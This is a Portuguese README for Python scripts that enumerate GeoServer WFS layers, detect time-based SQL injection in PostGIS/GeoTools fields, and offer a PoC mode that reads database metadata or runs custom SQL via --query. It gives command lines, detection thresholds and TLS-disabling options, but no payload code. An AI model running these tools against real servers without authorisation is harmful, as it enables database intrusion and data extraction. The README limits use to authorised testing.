
Scripts em Python para inventariar endpoints WFS do GeoServer e verificar vulnerabilidades de injeção SQL baseada em tempo em PostGIS/GeoTools, com um modo PoC dedicado para testes autorizados.
Este repositório contém dois scripts Python para investigação de endpoints WFS do GeoServer.
wfs_inventory.pyFinalidade: Inventariar camadas, campos XSD e valores WFS, além de verificar opcionalmente candidatos por meio de uma verificação baseada em tempo.
Exemplos de execução:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.pyFinalidade: Ponto de entrada combinado para o inventário, além de um modo PoC separado.
Exemplos de execução:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
Aviso importante: A verificação baseada em tempo e o modo PoC só podem ser usados contra sistemas para os quais exista autorização expressa de teste. O modo de inventário normal utiliza exclusivamente operações WFS regulares.
Tornar opcionalmente executável:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
O caminho padrão /geoserver/wfs é adicionado automaticamente. Portanto, as seguintes especificações são equivalentes:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
Em caso de instalação diferente, o caminho WFS completo deve ser especificado.
Somente para sistemas expressamente autorizados:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
Durante a verificação, uma medição por candidato aparece em stderr:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
Um screen aprovado ainda não é um achado positivo. Somente se a segunda medição, mais longa, também for aprovada, um bloco de parâmetros é emitido.
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE ativa automaticamente o diagnóstico detalhado e o escreve no arquivo especificado.
O modo padrão auto processa as informações WFS nesta ordem:
GetCapabilities é aberto uma vez:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
A resposta XML é transmitida em fluxo. Assim que um FeatureType/Name é encontrado, o próximo typeName é definido.
Para esta camada, DescribeFeatureType é executado imediatamente com version=2.0.0.
O script extrai os elementos XSD e seleciona campos string/JSON com nomes semelhantes a ID ou número.
O candidato é verificado dependendo da chamada:
--sleep: valores de amostra devem ser JSON sintaticamente válido.--sleep N: uma consulta de controle e uma consulta de verificação baseada em tempo são medidas. A verificação de valor JSON é ignorada nesse caso.O resultado é emitido e liberado imediatamente.
Somente depois disso, o próximo typeName é lido da resposta GetCapabilities em andamento.
Dessa forma, uma resposta GetCapabilities grande não precisa ser totalmente processada antes que o primeiro resultado apareça.
Sem --sleep, o modo automático considera por padrão campos string/JSON com nomes semelhantes a ID ou número.
Com --sleep, --candidate-scope auto usa, por outro lado, todos os campos simples que não sejam de geometria. O tipo XSD e o padrão de nome ID não bloqueiam mais a verificação de timing. Isso evita falsos negativos em tipos XSD numéricos, de data/booleano ou específicos do fornecedor.
Padrões de nome reconhecidos incluem, entre outros:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
Na verificação baseada em tempo, o nome do campo também deve ser um identificador simples no formato [A-Za-z_][A-Za-z0-9_]*.
Sem --sleep, é verificado se os valores observados podem ser interpretados sintaticamente como JSON. Portanto, por exemplo, a string "383205" também é considerada candidata, porque seu conteúdo representa um número JSON válido. Essa verificação é uma heurística e não uma prova de vulnerabilidade.
Com --sleep 1, apenas a medição de tempo decide. Um candidato é considerado positivo por padrão se a consulta de verificação exigir pelo menos 70 por cento do tempo de sleep solicitado adicionalmente em relação à consulta de controle. --timing-result-type auto verifica primeiro resultType=hits e, em caso de resultado negativo, em seguida resultType=results.
Medições preliminarmente positivas são obrigatoriamente confirmadas com um tempo de sleep mais longo. Sem --confirm-sleep explícito, o script usa max(3, --sleep * 3), limitado a 10 segundos. Dessa forma, um único pico de latência com --sleep 1 não leva mais a vulnerable=true.
A saída padrão contém um bloco por camada válida:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
parameter_stringN contém o endpoint WFS normalizado e os valores adequados para --typename e --field_name.
--valid-fields N conta blocos de camadas, não campos individuais. Se existirem menos de N camadas válidas, o restante do catálogo continua sendo investigado. Com --max-layers, o tempo máximo de execução pode ser limitado.
As opções --diagnose ou --valid-diagnose FILE adicionam, entre outros:
GetCapabilities usada,DescribeFeatureType,GetFeature gerada eExemplo:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
Limitar a um namespace:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
Cada campo é emitido como um objeto JSON com nome, tipo XSD, nillable, id_candidate e usable_property.
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--field FIELD_A \
--field FIELD_B \
--max-features 100 \
--format jsonl \
--output values.jsonl
Exportar todas as properties:
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--all-properties \
--max-features 100
Com --unique, combinações idênticas de valores de campo selecionados são emitidas apenas uma vez.
wfs_inventory.py| Parâmetro | Padrão | Significado |
|---|---|---|
--url URL | obrigatório | Host, base GeoServer ou endpoint WFS completo |
--mode auto|layers|fields|values | auto | Modo de operação a ser executado |
--layer NAMESPACE:LAYER | – | Limitar o modo automático a um feature type; obrigatório para fields e values |
--namespace PREFIX | – | Considerar apenas camadas deste prefixo de namespace |
--capabilities-file FILE | – | Usar resposta GetCapabilities local em vez de download |
--field NAME | repetível | Property a ser exportada no modo values |
--all-properties | desativado | Exportar todas as properties no modo values |
--unique | desativado | Suprimir combinações duplicadas de valores de campo |
--page-size N | 500 | Features por página GetFeature; intervalo de 1 a 5000 |
--sample-size N | 5 | Valores de amostra por camada para a verificação de sintaxe JSON; intervalo de 1 a 100 |
--sleep SECONDS | 0 | Ativar verificação baseada em tempo; permitidos 0 ou 1 a 10 segundos |
--candidate-scope auto|id|all | auto | Seleção de candidatos; auto usa campos ID sem sleep e todos os campos não geométricos com sleep |
--timing-result-type auto|hits|results | auto | Caminho de consulta da verificação de timing; auto tenta hits, depois results |
--sleep-threshold RATIO |
geoserver_sqli_working.py pode chamar a função de inventário diretamente. Assim que --valid-fields é especificado, apenas o inventário é executado e o programa termina em seguida.
python3 geoserver_sqli_working.py \
--target https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
Internamente, os seguintes parâmetros são repassados para wfs_inventory.py:
--target -> --url
--valid-fields -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep
Sem --sleep explícito, a verificação baseada em tempo permanece desativada no modo de inventário.
Somente para sistemas de teste expressamente autorizados:
python3 geoserver_sqli_working.py \
--target https://HOST/geoserver/wfs \
--typename namespace:layer \
--field_name FIELD \
--sleep 5
No modo PoC, o caminho de destino não é normalizado automaticamente. Aqui, o endpoint WFS completo deve ser especificado.
O modo primeiro executa um teste de baseline/sleep, depois testa as variantes de oracle baseadas em tempo existentes e, em caso de confirmação bem-sucedida, lê por padrão metadados de servidor/banco de dados. Com --query, uma consulta escalar própria pode ser especificada em vez disso.
O modo PoC desativa atualmente a verificação de certificado TLS internamente. Para um inventário puro,
wfs_inventory.pydeve ser preferido, pois lá o TLS é verificado por padrão.
geoserver_sqli_working.py| Parâmetro | Padrão | Significado |
|---|---|---|
--target URL | obrigatório | Host de destino ou endpoint WFS; no modo PoC, usar caminho WFS completo |
--typename NAME | fink_bku:fink_meta_mitte_suedwest | Feature type para o modo PoC |
--field_name NAME | obrigatório no modo PoC | Nome de campo XSD simples para jsonArrayContains |
--field-name NAME | alias | Alias para --field_name |
--valid-fields N | – | Ativar modo de inventário e parar após N camadas válidas |
--valid-diagnose FILE | – | Escrever relatório de inventário detalhado em FILE; requer --valid-fields |
--sleep SECONDS | PoC: 5, inventário: desativado | Duração do sleep do respectivo modo |
--candidate-scope auto|id|all | auto | Seleção de candidatos no modo de inventário |
--timing-result-type auto|hits|results | auto | Caminho de consulta de timing no modo de inventário |
--sleep-threshold RATIO | 0.7 | Limiar de timing no modo de inventário |
--confirm-sleep SECONDS | automático | Sleep de confirmação no modo de inventário |
--query SQL | – | Consulta escalar própria no modo PoC |
--debug | desativado | Exibir condições, tempos de execução e decisões no modo PoC |
O modo automático pode gerar JSON Lines em vez de blocos de texto:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--report-format jsonl \
--output report.jsonl
Com --diagnose, cada registro contém adicionalmente URLs, metadados de candidatos, valores de verificação e URLs GetFeature específicas de campo.
Usar proxy:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--valid-fields 4
Confiar em CA de proxy próprio:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--proxy-ca proxy-ca.pem \
--valid-fields 4
Desativar verificação TLS para um sistema de teste autorizado:
python3 wfs_inventory.py \
--url https://HOST \
--insecure \
--valid-fields 4
--proxy-ca e --insecure não podem ser usados juntos.
Com respostas GetCapabilities grandes, as seguintes opções ajudam:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--max-layers 100 \
--sample-size 1 \
--timeout 10 \
--retries 0 \
--delay 0
Observações:
GetCapabilities é solicitado apenas uma vez e depois transmitido em fluxo.--valid-fields 4 encerra o scan somente após quatro camadas válidas. Se existirem menos resultados, a busca continua até o fim ou até --max-layers.--sample-size 1 reduz o esforço da heurística JSON.--timing-result-type auto, após um resultado negativo de hits, duas consultas results adicionais são executadas.--candidate-scope id reduz o número de consultas de timing, mas pode omitir campos vulneráveis com outros nomes.--namespace e --start-layer-index podem limitar adicionalmente o espaço de busca.The read operation timed out--timeout se o servidor responder lentamente.--retries 0 para evitar repetições longas.--max-layers e --namespace.--sample-size 1.--sleep, os candidatos devem passar pela verificação XSD/nome e pela verificação de sintaxe JSON, dependendo de --candidate-scope.--sleep, apenas candidatos confirmados por tempo são emitidos como bloco de parâmetros; medições negativas aparecem como [sleep-check] em stderr.--max-layers.Cannot do natural order without a primary keyPara a primeira página GetFeature, o script não envia startIndex=0, pois algumas camadas GeoServer/JDBC sem chave primária já forçam uma ordenação natural por causa disso. Ao exportar páginas adicionais, essa camada pode, no entanto, exigir uma chave primária ou uma ordenação suportada pelo servidor.
schema does not define ...TypeO script considera tanto o usual <LayerName>Type quanto um complexType divergente, referenciado no elemento de camada XSD global ou anônimo. Se o erro persistir, a resposta DescribeFeatureType correspondente deve ser verificada com --diagnose.
A mensagem de erro OWS completa é emitida em stderr. Causas comuns são properties não suportadas, especificações de paginação do servidor ou uma configuração de fonte de dados específica da camada.
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
0.7 |
| Proporção necessária do tempo de sleep; intervalo de 0.5 a 1.0 |
--confirm-sleep SECONDS | 0/automático | Sleep de confirmação; 0 usa pelo menos 3× o primeiro tempo de sleep, intervalo de 1 a 10 |
--start-layer-index N | 0 | Pular as primeiras N camadas transmitidas |
--max-layers N | 0 | Processar no máximo N camadas; 0 significa ilimitado |
--valid-fields N | 0 | Parar após N blocos de camadas válidas; 0 significa ilimitado |
--valid N | alias | Alias compatível com versões anteriores para --valid-fields |
--max-features N | 0 | Parar após N features no modo values; 0 significa ilimitado |
--format jsonl|csv|text | jsonl | Formato de saída no modo values |
--output FILE | stdout | Escrever relatório ou valores em um arquivo |
--report-format blocks|jsonl | blocks | Formato do relatório automático |
--diagnose | desativado | Adicionar URLs, tipos, flags de seleção e estatísticas de verificação |
--valid-diagnose FILE | – | Ativar diagnóstico e escrever diretamente em FILE |
--delay SECONDS | 0.1 | Pausa entre etapas de resultado/verificação |
--timeout SECONDS | 30 | Timeout por solicitação HTTP |
--retries N | 2 | Repetições após timeout ou erro de rede; intervalo de 0 a 10 |
--proxy URL | – | Proxy HTTP(S), por exemplo http://127.0.0.1:8080 |
--proxy-ca FILE | – | Certificado CA PEM para confiar em um certificado de proxy |
--insecure | desativado | Desativar verificação de certificado TLS |
--authorization TEXT | I_AM_AUTHORIZED | Confirmação de segurança; deve ser exatamente I_AM_AUTHORIZED |